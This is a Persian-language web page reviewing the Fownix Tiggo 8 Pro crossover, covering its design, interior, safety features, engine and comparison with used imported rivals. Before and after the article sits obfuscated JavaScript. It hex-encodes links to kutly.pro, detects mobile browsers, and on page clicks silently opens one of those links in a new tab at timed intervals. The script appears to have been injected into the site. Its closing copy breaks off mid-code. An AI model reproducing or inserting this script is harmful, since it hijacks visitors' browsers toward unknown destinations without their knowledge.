_0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

مشخصات تیگو 8 پرو

بررسی مشخصات فونیکس تیگو 8 پرو در بازار

مقدمه

شرکت مدیران خودرو با معرفی برند جدید فونیکس (Fownix)، پرده از یکی از لوکس‌ترین برندهای چینی بازار ایران برداشت . این برند فعالیت خود در ایران را با سه محصول آریزو 6 پرو، تیگو 7 پرو و گل سرسبد آن‌ها، تیگو 8 پرو آغاز کرد تا استانداردهای جدیدی را در بازار مونتاژی‌های لوکس کشور بنا نهد . در این مقاله به بررسی مشخصات تیگو 8 پرو می پردازیم .

تیگو 8 پرو را باید ، یکی از منحصربفردترین و مدرن ترین خودروهای چینی بازار ایران دانست . که از دیدگاه طراحی سطح آپشن‌های رفاهی و ایمنی، در نوع خود منحصربفرد و در بازار رقبای فعلی خود ، بدون رقیب است.

 

Tiggo8Pro-01-2

مشخصات تیگو 8 پرو در برابر رقبا

تیگو 8 پرو در سگمنت کراس اوورهای لوکس به بازار کشور معرفی شده است. سطح امکانات فنی و رفاهی این خودرو باعث می‌شود، نتوان هر رقیبی را در مقابل آن نشاند. در غیاب رقبای چینی درخور، تنها می‌توان به گزینه‌های دست دوم اروپایی، کره‌ای و ژاپنی مانند رنو کولیوس نسل دوم، هیوندای سانتافه، کیا سورنتو، میتسوبیشی اوتلندر و نیسان اکس‌تریل اشاره کرد.

فیدلیتی بهمن موتور به عنوان تنها رقیب احتمالی، نه تنها از پیشرانه مشترک با محصولات قدیمی‌تر چری بهره می‌گیرد، بلکه پلتفرم آن با نسل اول تیگو 8 نیز مشترک است. در نتیجه از دیدگاه فنی تا حدودی با تیگو 8 یکسان است. در ایران اما، این خودرو قرار است در مواجهه با تیگو 8 پرو قرار بگیرد. خودرویی که از هر نظر با فیدلیتی متفاوت و از هر زاویه برتر است.

رقبای اروپایی، کره‌ای و ژاپنی تیگو 8 پرو در ایران همگی از برندهای اقتصادی هستند، که واردات آن‌ها پس از وضع قانون منع واردات خودرو، با توقف مواجه شد. همچنین جدیدترین نسخه موجود آن‌ها در بهترین حالت نسخه دست دوم مدل 2018 است. این رقبا تنها از دیدگاه قیمت در بازار دست دوم با تیگو 8 پرو رو به رو می‌شوند. این در حالی است که از دیدگاه تکنولوژی فنی و آپشنی، هیچ یک توان رقابت با آن را نخواهند داشت.

asa

طراحی تیگو 8 پرو

سبک طراحی محصولات خانواده فونیکس به طور کلی دستخوش تغییر شده است. تیگو 8 پرو در نمای خارجی با داشتن ابعادی برابر با 4722×1860×1745 میلی‌متر و فاصله محورهای 2710 میلی‌متری، از نظر ابعادی در کلاس کراس اوورهای سایز متوسط و نزدیک به رقبای دیگر خود در این مقایسه قرار می‌گیرد.

از دیدگاه زبان طراحی، خانواده فونیکس با سیاستی کاملا نوین به بازار آمده است. تیگو 8 پرو دیگر همانند خانواده قدیمی نظیر تیگو 7 نسل پیشین از المان‌های پیچیده و متمایز در طراحی خود بهره نمی‌برد، بلکه در عوض سادگی و میانه‌روی از مهم‌ترین عناصر سبک طراحی تیگو 8 پرو جدید است.

سیاست و علم طراحی خودرو

 طراحی ساده، سنگین و شکیل، رابطه مستقیمی با حس و میزان لوکس‌گرایی خودرو دارد. این دقیقا همان رویه‌ای است که جنسیس در نسل سوم G90 مدل 2022 پیش گرفت. از این نظر با ب‌ام‌و سری 7 و کلاس S مرسدس بنز نیز مشترک است. تیگو 8 پرو نیز با طراحی ساده‌تر خود، جلوه‌ای لوکس‌تر و سنگین‌تر دارد. جلوپنجره خودرو از نوع توری مشبک به نوع کرومی الماسی یا کهکشانی تغییر شکل داده است. چراغ‌های تمام LED جلو، به زیبایی با خط شانه خودرو ادغام شده و زیرسپر خودرو شامل دو شکاف بزرگ مثلث مانند با زاویه‌های تند و شکسته است، که تناسب میان لوکس‌گرایی و اسپرت‌گرایی نمای ظاهری این کراس اوور سایز متوسط را حفظ می‌کند.

Tiggo8Pro-02-2

گلگیرهای خودرو TIGGO8 PRO

گلگیرهای خودرو در نمای جانبی برجستگی جزئی به همراه دارند تا رینگ های 18 اینچی اسپرت با تایرهای 55/235 را در دل خود جای دهند. برش شیشه‌های جانبی نیز شباهت‌هایی با هیوندای سانتافه گرند دارد. چراغ‌های عقب با طراحی کاملا جدا از هم، ظاهری بسیار ساده دارند اما تماما با چراغ‌های LED در طراحی گرافیکی سه بعدی قلم خورده‌اند. سراگزوز‌های دوبل کرومی خودرو نیز حالا داخل سپر قرار دارند و بخشی از نمای عقبی تیگو 8 پرو را تشکیل می‌دهند.

Tiggo8Pro-15-2

سبک طراحی تیگو 8 پرو

از نظر سبک طراحی، شاید در میان رقبا تنها رنو کولیوس نسل دوم باشد. این خودرو  با زبان طراحی نسبتا نوین‌تر و به روزتر خود می‌تواند شانه به شانه تیگو 8 حرکت کند. این مهم به این معنا نیست که سانتافه، سورنتو یا کولیوس خودروهای زشتی هستند. بلکه منظور آن است که این خودروها پس از گذر این مدت زمان نیازمند ارائه فیس لیفت یا نسل جدید بودند. متاسفانه به دلیل وجود قانون منع واردات خودرو، از ارائه نمونه به روز‌تر در بازار ایران بازمانده‌اند.

اگر نمای خارجی تیگو 8 پرو همچون سری 7 جدید ب‌ام‌و، برای شما بیش از اندازه میانه‌رو و ساده جلوه‌ می‌کند. بهتر است قدم به فضای داخلی این خودرو بگذارید تا کمی از تمایز‌های حاصل از پیدایش برند فونیکس را شاهد باشید. تیگو 8 پرو، گل سرسبد و پرچم‌دار لوکس برند فونیکس در بازار ایران است. تکنولوژی روز، کیفیت و تمایز طراحی از بارز‌ترین نقاط قوت طراحی نمای داخلی این کراس اوور به حساب می‌آید.

در نتیجه فضای داخلی به سادگی می‌تواند نظر مشتریان امروزی این بازه قیمت بازار را تغییر دهد.

با باز کردن در خودرو، رکاب‌های برقی اتوماتیک باز شده و سهولت سواری و پیاده شدن را برای سرنشینان به ارمغان می‌آورند.

نمای داخل تیگو 8 پرو 1

نمای داخلی تیگو 8 پرو

نمای داخلی با غربیلک فرمان چند کاربری با برش D شکل، دارای طراحی جدید و متمایز و در پشت آن، دو نمایشگر LCD بزرگ 12.3 اینچی متصل به یکدیگر (در مجموع 24.6 اینچ)، احتمالا مهم‌ترین بخش داشبورد را تشکیل می‌دهند.

نمایشگرهای TIGGO8PRO

ترکیب این دو نمایشگر با یکدیگر و به شیوه پیوسته را شاید اولین بار در محصولات رده بالا برند اشتوتگارتی مرسدس بنز شاهد بودیم. این دو نمایشگر یکی مربوط به مجموعه‌ نشانگرهای تنظیم پذیر تمام دیجیتال اطلاعات حیاتی پشت فرمان و دیگری مربوط به سیستم مولتی مدیا خودرو است.

مانیتور تیگو 8 پرو

تجمع نمایشگرهای دیجیتال البته به همین‌جا ختم نمی‌شود، درست در محل اتصال داشبورد به کنسول میانی، نمایشگر لمسی 8.0 اینچی دیگری قرار دارد.

این نمایشگر تمامی مجموعه ادوات کنترلی مربوط به سیستم های تهویه مطبوع، گرم‌کن و سرد‌کن صندلی‌ها را در خود جای داده است.

این مهم باعث شده است تا با حذف کلید‌های  مربوط به این ویژگی‌ها، نمای کلی داشبورد همانند سبک طراحی نمای‌ خارجی بسیار ساده و شیک جلوه کند.

از آن گذشته دریچه‌های خروجی سیستم تهویه مطبوع نیز در تریم عرضی نقره‌ای مات (همانند آریزو 6 و 6 پرو) مخفی شده است.

آپشن های داخلی تیگو 8

باقی داستان ترکیب زیبای تریم چرمی مارون رنگ داشبورد، رودری‌ها و صندلی‌ها است که با زیبایی با اندک تریم آلومینیومی مات و پوشش مشکی پیانویی کامل شده است. در قیاس با سایر رقبای این خودرو در بازار ایران، نمای داخلی تیگو 8 پرو همانند یک سفینه فضایی به نظر می‌آید.

حتی کولیوس نیز با داشتن طراحی مینیمال و صفحه نمایش نسبتا بزرگ لمسی با سیستم نورپردازی انتزاعی نیز قادر به رقابت با باطن لوکس و بسیار پیشرفته تیگو 8 پرو نیست. این کراس اوور ثابت کرده است که در رقابت با برترین‌های جهان، حالا حرف‌های بسیاری برای گفتن دارد.

تهویه مطبوع تیگو 8 پرو

تیگو 8 پرو از جمله محدود کراس اوورهای هفت نفره بازار کشور است که ویژگی کاربری مناسبی برای خانواده‌های پرجمعیت در سفرهای بین شهری از خود به نمایش می‌گذارد.

با توجه به اینکه این کراس اوور در خانواده شاسی بلندهای سایز متوسط قراردارد، شاید نتوان انتظار چندانی از حجم و فضای نشیمن ردیف سوم آن داشت.

اما باید به خاطر داشته باشید، که بسیاری از شاسی بلندهای فول سایز نیز در بخش نشیمن ردیف سوم، همچنان ضعیف عمل می‌کنند. با این وجود این فضا به سادگی برای نوجوانان و افراد دارای قد متوسط کافی و جادار خواهد بود و قابلیت درخور توجهی به حساب می‌آید.

فضای محفظه بار تیگو 8 پـرو

فضای محفظه بار استاندارد (به هنگام خوابیدن ردیف سوم صندلی‌ها) در تیگو 8 پرو برابر با 1179 لیتر حجم دارد که در صورت خوابیدن ردیف دوم صندلی‌ها، این رقم تا 2100 لیتر قابل افزایش است.

این فضای استاندارد در سورنتو و سانتافه به ترتیب برابر 1098 و 1158 لیتر و در اوتلندر و کولیوس به ترتیب برابر با 968 و 565 لیتر است. از این رو تیگو 8 پرو را باید از دیدگاه مقایسه حجم استاندار فضای بار، در بالاترین رده رقابت با رقبا قرار داد.

تهویه تیگو 8 پرو 2

ویژگی ها و مشخصات فنی تیگو 8 پرو در نمای داخلی

اما بزرگ‌ترین و خاص‌ترین قابلیت تیگو 8 پرو در نمای داخلی، به کارگیری مجموعه‌ای از ویژگی‌ها و امکانات رفاهی و ایمنی است. این امکانات در نوع خود پیشرو و در بازار ایران منحصر به فرد است.

  • طیف کامل سیستم کنترل پایداری
  • کیسه‌هوای سرنشینان جلو
  • کیسه هوای پرده‌ای و جانبی و کیسه هوا زانو
  • رادار تصادف از عقب و جلو
  • قابلیت فرمان‌پذیری صوتی سیستم مولتی مدیا
  • سیستم دوربین 360 درجه چشم عقاب (AVM)
  • سیستم نظارت بر فشار باد تایرها (TPMS)
  • سنسور پارک
  • سیستم نظارت بر نقاط کور
  • سنسور نور و سنسور باران (روشنایی و برف پاک‌کن اتوماتیک)
  • سیستم نور بالا اتوماتیک
  • تنظیم برقی صندلی راننده و سرنشین به همراه مموری
  • سیستم کروز کنترل هوشمند
  • سیستم کنترل حرکت خودرو مابین خطوط
  • رادار تغییر لاین
  • سیستم کمک حرکت در ترافیک
  • ترمز پارک برقی و اتوهولد
  • گرم‌کن و سردکن صندلی های جلو
  • سانروف بزرگ برقی
  • سیستم تهویه مطبوع اتوماتیک چهارگانه دیجیتال با پنل کنترلی مجزا برای ردیف دوم و خروجی انحصاری برای ردیف سوم
  • اهرم دنده الکترونیکی با پدال‌های تعویض دنده به صورت ترونیک در پشت غربیلک فرمان
  • سیستم ورود و استارت بدون کلید
  • سیستم روشنایی انتزاعی داخل کابین
  • روکش چرم صندلی‌ها
  • رودری‌ها و داشبورد با دوخت بخیه لوکس
  • سیستم روشنایی تمام LED با قابلیت پرتاب نور با شدت 2.7 برابر بیشتر از سیستم روشنایی سنتی هالوژن
  • سیستم کمکی فرمان برقی حساس به سرعت
  • سیستم شارژر بی‌سیم و کول‌باکس با حداقل دمای 16 درجه سانتی گراد

هیچکدام از رقبای دست دوم وارداتی تیگو 8 در بازار ایران، بسیاری از ویژگی های بالا را ندارند.

ایربگ تیگو 8 پرو
کیسه هوای تیگو 8 پرو

سیستم هشدار ترافیک جانبی
سیستم هشدار ترافیک جانبی

کروز کنترل تطبیقی تیگو 8 پرو
کروز کنترل تطبیقی تیگو 8 پرو
کنترل هوشمند نور بالا تیگو 8 پرو سیستم هشدار برخورد از جلو تیگو 8 پرو

تقابل مجموعه مشخصات فنی تیگو 8 پرو

تیگو 8 پرو پلتفرم T1X چری (مشترک با تیگو 7 نسل اول) است. اما حالا به سیستم انتقال نیرو جدیدی مجهز که نه تنها از سیستم پرخوران توربو شارژر بهره می‌گیرد، بلکه سیستم پاشش سوخت آن از نوع پیشرفته و فشار بالا تزریق مستقیم است.

پیشرانه

این پیشرانه کوچک اندام حالا می‌تواند قدرتی برابر با 197 اسب بخار در دور 5500 و گشتاور 290 نیوتون.متر از دور 2000 تولید کند که در اختیار گیربکس اتوماتیک دو کلاچ هفت سرعت (7DCT) و سپس محور جلو خودرو قرار می‌گیرد.

گیربکس جدید برخلاف نسخه هفت، بکار رفته در تیگو 7 ، این بار از نوع تر (دو کلاچ روغنی) است. مشکلات مربوط به داغ کردن صفحات کلاچ و ضعف عملکرد خودرو در ترافیک‌های طولانی، شیب‌های تند و تیز یا رانندگی‌ها پرشتاب را از بین می‌برد. همچنین دوام و طول عمر بسیار بیشتری به همراه دارد.

تنها مشکلی که متوجه سیستم انتقال نیرو تیگو 8 پرو است، عدم عرضه آن با سیستم انتقال نیرو چهار چرخ متحرک (AWD) است. این خلا تنها نقطه ضعف این کراس اوور پرتوان در برابر رقبای دست دوم وارداتی آن است که همگی با سیستم انتقال نیرو دو دیفرانسیل (AWD) به بازار عرضه شدند.

پیشرانه تیگو 8 پرو

با این حال، این پیشرانه پیشرفته و پرتوان دارای استاندارد آلایندگی یورو 6 است و با وجود وزن 1541 کیلوگرمی این کراس اوور، می‌تواند در زمان قابل احترام 8.9 ثانیه به تندی 100 کیلومتر بر ساعت و سپس حداکثر سرعت 185 کیلومتر بر ساعت دست یابد، در حالی که مصرف سوخت متوسط آن تنها برابر با رقم خیره کننده 6.8 لیتر است.

بررسی مشخصات فنی رقبای تیگو 8 پرو در پیشرانه

رقبای تیگو 8 پرو همگی با پیشرانه‌های حجیم‌تر 2.4 و 2.5 لیتری روانه بازار شدند. سیستم پاشش سوخت تزریق مستقیم (GDI) بر دو رقیب کره‌ای (سانتافه و سورنتو) نیز عرضه شد اما همه رقبا از پیشرانه‌های تنفس طبیعی بهره می‌گیرند و فاقد سیستم پرخوران توربو هستند. در نتیجه قدرتمندترین رقیب تیگو 8 پرو، دو برادر کره‌ای با پیشرانه 2.4 لیتری GDI، با توان 188 اسب بخار و گشتاور 245 نیوتون.متر هستند.

سیستم انتقال نیرو در اوتلندر و کولیوس از نوع ضریب متغیر اتوماتیک (CVT) و در سورنتو و سانتافه از نوع اتوماتیک شش سرعت است که هیچ‌ یک بر گیربکس تیگو 8 پرو برتری محسوسی ندارند.

با وجود تجهیز این چهار رقیب به سیستم انتقال نیرو دو دیفرانسیل، بهترین شتاب اولیه در میان رقبا در اختیار کولئوس با رقم 9.8 ثانیه است که در حدود یک ثاینه کندتر از تیگو 8 پرو عمل می‌کند.

 اگرچه سیستم انتقال نیرو دو دیفرانسیل دائمی/هوشمند (AWD) در این خودروها با پایداری و کشش بهتر در مسیرهای لغزنده همراه است، اما هیچ یک از خودروهای مورد بررسی این مقاله ویژه مسیرهای آفرود و بیراهه طراحی و تولید نشده‌اند.

از این رو در استفاده خانوادگی شهری و بین شهری، به سادگی می‌توان از خلا سیستم انتقال نیرو دو دیفرانسیل در تیگو 8 پرو چشم پوشی کرد.

رقابت با دست دومی‌ها

با بررسی مشخصات تیگو 8 پرو در مقایسه با محصولات چینی بازار کشور قیمت نسبتا تند و تیزی دارد که باعث می‌شود با بهترین کراس اوورهای وارداتی بازار کشور سرشاخ شود. اما باید در نظر داشت که ارزش دریافتی این خودرو در مقابل مبلغ پرداختی آن، بسیار بالا است.

محبوب‌ترین رقبای تیگو 8 پرو در بازار ایران سانتافه و کولئوس است. سورنتو و اوتلندر نیز با اختلاف بسیار جزئی در پس این دو رقیب در بازار دست دوم ایران در دسترس هستند. اما بزرگ‌ترین مشکل این رقبا، طول عمر سه تا چهار سال آخرین نمونه‌های وارداتی و کارکرد قابل توجه آن‌ها است. لازم به تاکید نیست که با وجود تحریم‌ها و دشواری تامین قطعات و خدمات پس از فروش، تملک این دست خودروها به نوعی ریسک به حساب می‌آید.

جدا از همه این نگرانی‌ها، باید به اختلاف چشمگیر سطح آپشن‌های رفاهی و ایمنی و اختلاف عملکرد فنی رقبای وارداتی با تیگو 8 پرو نیز اشاره کرد.البته آخرین فاکتورهایی به حساب می‌آیند که مشتری این کلاس از خودروها باید به آن فکر کند.

بدنه تیگو 8 پرو

سخن نهایی

تیگو 8 پرو در بازار امروز کشور قیمت فروش قابل توجهی دارد، اما پیش از آن که از این قیمت انتقادی به عمل آید، ابتدا لازم است تا با مجموعه ویژگی‌های دریافتی، در ازای مبلغ پرداختی در این خودرو آشنا شد.

به جرات می‌توان ادعا کرد که تیگو 8 پرو پیشرفته‌ترین، مدرن‌ترین و لوکس‌ترین گزینه مونتاژی و صفر کیلومتر بازار کشور است که در این مقطع رقیبی ندارد.

ارائه این سطح از ویژگی‌های فنی، رفاهی و ایمنی می‌تواند منجر به تکاپو رقبا، جنبش بازار خودروهای مونتاژی لوکس و سوق مشتریان بازار دست دوم‌های وارداتی به سوی مونتاژی‌های مدرن و پرآپشن روز شود. در نتیجه جای تعجب نخواهد داشت که این خودرو از تمامی رقبای فعلی خود در بازار کشور گران‌تر باشد.

برای دیدن شرایط فروش خودرو تیگو 8 پرو کلیک کنید.

 

نویسنده هیئت تحریریه ۷۷۷

هر گونه نقل مطلب از هر قسمت این سایت بدون اجازه کتبی از مدیریت سایت ممنوع می باشد.
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const 